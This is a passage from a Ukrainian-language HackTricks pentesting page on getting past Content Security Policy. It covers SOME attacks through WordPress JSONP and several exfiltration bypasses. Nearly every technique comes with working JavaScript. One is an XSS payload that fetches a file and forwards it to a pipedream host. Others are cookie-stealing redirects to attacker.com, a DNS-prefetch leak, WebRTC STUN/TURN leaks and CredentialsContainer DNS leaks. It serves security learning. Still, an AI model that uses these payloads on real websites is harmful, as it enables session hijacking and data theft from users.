a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME — це техніка, яка зловживає XSS (або сильно обмеженим XSS) в endpoint сторінки, щоб зловживати іншими endpoint тієї ж origin. Це робиться шляхом завантаження вразливого endpoint зі сторінки атакуючого, а потім оновлення сторінки атакуючого на реальний endpoint в тій же origin, яку ви хочете зловживати. Таким чином вразливий endpoint може використовувати об'єкт opener в payload, щоб отримати доступ до DOM реального endpoint, над яким здійснюється зловживання. Для детальнішої інформації див.:

SOME - Same Origin Method Execution

Більше того, wordpress має JSONP endpoint у /wp-json/wp/v2/users/1?_jsonp=data, який відобразить надані data у виводі (з обмеженням — лише літери, цифри та крапки).

Атакуючий може зловживати цим endpoint, щоб згенерувати SOME attack проти WordPress і вбудувати його всередину <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> — зауважте, що цей script буде завантажено, оскільки він дозволений 'self'. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати SOME attack через вразливий callback endpoint, який обходить CSP, щоб надати користувачу більше привілеїв, встановити новий plugin...
Для детальнішої інформації про те, як виконати цю атаку, див. https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Якщо діє суворий CSP, який не дозволяє вам interact with external servers, є кілька способів, за допомогою яких все одно можна вивести інформацію.

Location

Можна просто оновити location, щоб надіслати секретну інформацію на сервер атакуючого:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Ви можете перенаправити, вставивши meta tag (це лише перенаправлення, це не призведе до leak контенту)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Щоб завантажувати сторінки швидше, браузери попередньо розв'язують імена хостів у IP-адреси та кешують їх для подальшого використання.
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: <link rel="dns-prefetch" href="something.com">

Цю поведінку можна використати для exfiltrate sensitive information via DNS requests:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Інший спосіб:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Щоб уникнути цього, сервер може відправити HTTP header:

X-DNS-Prefetch-Control: off

tip

Схоже, ця техніка не працює в headless browsers (bots)

WebRTC

На кількох сторінках можна прочитати, що WebRTC не перевіряє політику connect-src у CSP.

Насправді ви можете leak інформацію, використовуючи DNS request. Подивіться на цей код:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Ще один варіант:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Спливаюче вікно для облікових даних надсилає DNS-запит до iconURL, не будучи обмеженим сторінкою. Працює лише в безпечному контексті (HTTPS) або на localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Перевірка політик CSP онлайн

Автоматичне створення CSP

https://csper.io/docs/generating-content-security-policy

Джерела

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks